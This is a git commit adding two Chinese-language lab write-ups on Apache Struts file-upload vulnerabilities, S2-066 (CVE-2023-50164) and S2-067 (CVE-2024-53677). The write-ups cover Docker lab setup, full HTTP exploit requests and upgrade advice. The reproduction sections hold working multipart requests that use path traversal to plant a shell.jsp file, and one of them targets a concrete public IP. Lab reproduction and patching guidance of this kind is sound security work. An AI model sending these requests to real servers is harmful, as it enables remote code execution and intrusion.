update CVE-2024-53677

This commit is contained in:
Threekiii 2024-12-18 10:48:48 +08:00
parent 6a975abfe6
commit 7fb9ca608a
2 changed files with 229 additions and 0 deletions

View File

@ -0,0 +1,118 @@
# Apache Struts S2-066 远程代码执行漏洞 CVE-2023-50164
## 漏洞描述
Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级 Web 应用程序。
该漏洞存在于 Apache Struts 中,是一个代码执行漏洞。攻击者可以操纵文件上传参数来执行路径遍历,进而上传可用于执行远程代码执行的恶意文件。
参考链接:
- [Apache Struts2 文件上传分析(S2-066)](https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/ )
- https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker
## 漏洞影响
```
Struts 2.0.0-2.3.37
Strust 2.5.0-2.5.32
Strust 6.0.0-6.3.0
```
## 环境搭建
通过项目 [CVE-2023-50164-ApacheStruts2-Docker](https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker) 搭建一个 Struts 6.3.0 漏洞环境:
```
git clone https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker.git
cd CVE-2023-50164-ApacheStruts2-Docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2023-50164 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2023-50164 cve-2023-50164
```
可更新 maven 源加速构建,在 Dockerfile 同级目录创建一个自定义的 settings.xml
```
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<mirror>
<id>aliyun-maven</id>
<mirrorOf>central</mirrorOf>
<name>Aliyun Maven</name>
<url>https://maven.aliyun.com/repository/central</url>
</mirror>
</mirrors>
</settings>
```
在 Dockerfile 中新增一行,将自定义的 `settings.xml` 复制到 Maven 的配置目录中,替换默认文件:
```
COPY settings.xml /root/.m2/settings.xml
```
重新执行 `docker build``docker run` 即可。
通过 `curl` 验证服务是否启动:
```
curl http://your-ip:8080/upload.action
```
或访问 `http://your-ip:8080/upload.action` 查看上传页面。
![](images/Apache%20Struts%20S2-066%20远程代码执行漏洞%20CVE-2023-50164/image-20241217184117699.png)
## 漏洞复现
在该环境中做了文件后缀限制,只能上传图片,不允许直接上传 `.jsp` 文件:
![](images/Apache%20Struts%20S2-066%20远程代码执行漏洞%20CVE-2023-50164/image-20241217184334129.png)
根据 HashMap 中存储的调用顺序构造 payload
```
POST /upload.action HTTP/1.1
Host: your-ip:8080
Content-Length: 319
Cache-Control: max-age=0
Origin: http://your-ip:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfZRVTHWYyGlXGAeY
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://your-ip:8080/upload.action
Accept-Encoding: gzip, deflate, br
Accept-Language: en
Cookie: JSESSIONID=ED2FB48CE518AF954B3EA4F97AC1FF17
Connection: keep-alive
------WebKitFormBoundaryfZRVTHWYyGlXGAeY
Content-Disposition: form-data; name="Upload"; filename="test.png"
Content-Type: image/png
<%= "awesome_poc" %>
------WebKitFormBoundaryfZRVTHWYyGlXGAeY
Content-Disposition: form-data; name="uploadFileName";
../shell.jsp
------WebKitFormBoundaryfZRVTHWYyGlXGAeY--
```
![](images/Apache%20Struts%20S2-066%20远程代码执行漏洞%20CVE-2023-50164/image-20241217191844379.png)
访问上传文件:
```
http://your-ip:8080/shell.jsp
```
![](images/Apache%20Struts%20S2-066%20远程代码执行漏洞%20CVE-2023-50164/image-20241217185122032.png)
## 漏洞修复
根据 `漏洞影响` 中的信息,排查并升级到 `安全版本`,或直接访问参考链接获取官方更新指南,[https://struts.apache.org/download.cgi](https://struts.apache.org/download.cgi)。

View File

@ -0,0 +1,111 @@
# Apache Struts S2-067 远程代码执行漏洞 CVE-2024-53677
## 漏洞描述
Apache Struts 是一个开源的、用于构建企业级 Java Web 应用的 MVC 框架。2024 年 12 月,官方披露 CVE-2024-53677 Apache Struts FileUploadInterceptor 文件上传漏洞。在受影响版本中,若代码中使用了 FileUploadInterceptor ,则可能在进行文件上传时攻击者可能上传文件至其他目录,在特定场景下可能造成代码执行。
## 漏洞影响
```
Struts 2.0.0 - Struts 2.3.37
Struts 2.5.0- Struts 2.5.33
Struts 6.0.0- Struts 6.3.0.2
```
参考链接:
- [Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067)](https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/)
- https://github.com/c4oocO/CVE-2024-53677-Docker
- https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker
## 环境搭建
通过项目 [CVE-2023-50164-ApacheStruts2-Docker](https://github.com/c4oocO/CVE-2024-53677-Docker) 搭建一个 Struts 6.3.0 漏洞环境:
```
git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
cd CVE-2024-53677-Docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
```
该项目修改自 [CVE-2023-50164-ApacheStruts2-Docker](https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker),将 `struts-app/src/main/java/org/trackflaw/example/Upload.java` 的原始文件上传处理逻辑替换为 `FileUploadInterceptor`
可更新 maven 源加速构建,在 Dockerfile 同级目录创建一个自定义的 settings.xml
```
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<mirror>
<id>aliyun-maven</id>
<mirrorOf>central</mirrorOf>
<name>Aliyun Maven</name>
<url>https://maven.aliyun.com/repository/central</url>
</mirror>
</mirrors>
</settings>
```
在 Dockerfile 中新增一行,将自定义的 `settings.xml` 复制到 Maven 的配置目录中,替换默认文件:
```
COPY settings.xml /root/.m2/settings.xml
```
重新执行 `docker build``docker run` 即可。
通过 `curl` 验证服务是否启动:
```
curl http://your-ip:8080/upload.action
```
或访问 `http://your-ip:8080/upload.action` 查看上传页面。
## 漏洞复现
```
POST /upload.action HTTP/1.1
Host: 124.221.47.70:8080
Content-Length: 320
Cache-Control: max-age=0
Origin: http://124.221.47.70:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.221.47.70:8080/upload.action
Accept-Encoding: gzip, deflate, br
Accept-Language: en
Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C
Connection: keep-alive
------WebKitFormBoundary2NRMscRh7zNdWblD
Content-Disposition: form-data; name="Upload"; filename="test.png"
Content-Type: image/png
<%= "awesome_poc" %>
------WebKitFormBoundary2NRMscRh7zNdWblD
Content-Disposition: form-data; name="top.UploadFileName";
../shell.jsp
------WebKitFormBoundary2NRMscRh7zNdWblD--
```
![](images/Apache%20Struts%20S2-067%20远程代码执行漏洞%20CVE-2024-53677/image-20241218085852812.png)
访问上传文件:
```
http://your-ip:8080/shell.jsp
```
![](images/Apache%20Struts%20S2-067%20远程代码执行漏洞%20CVE-2024-53677/image-20241218085910676.png)
## 漏洞修复
1. 升级组件 Apache Struts 升级至 6.4.0 及以上版本。
2. 自行排查代码中是否使用 FileUploadInterceptor若无使用则不受该漏洞影响。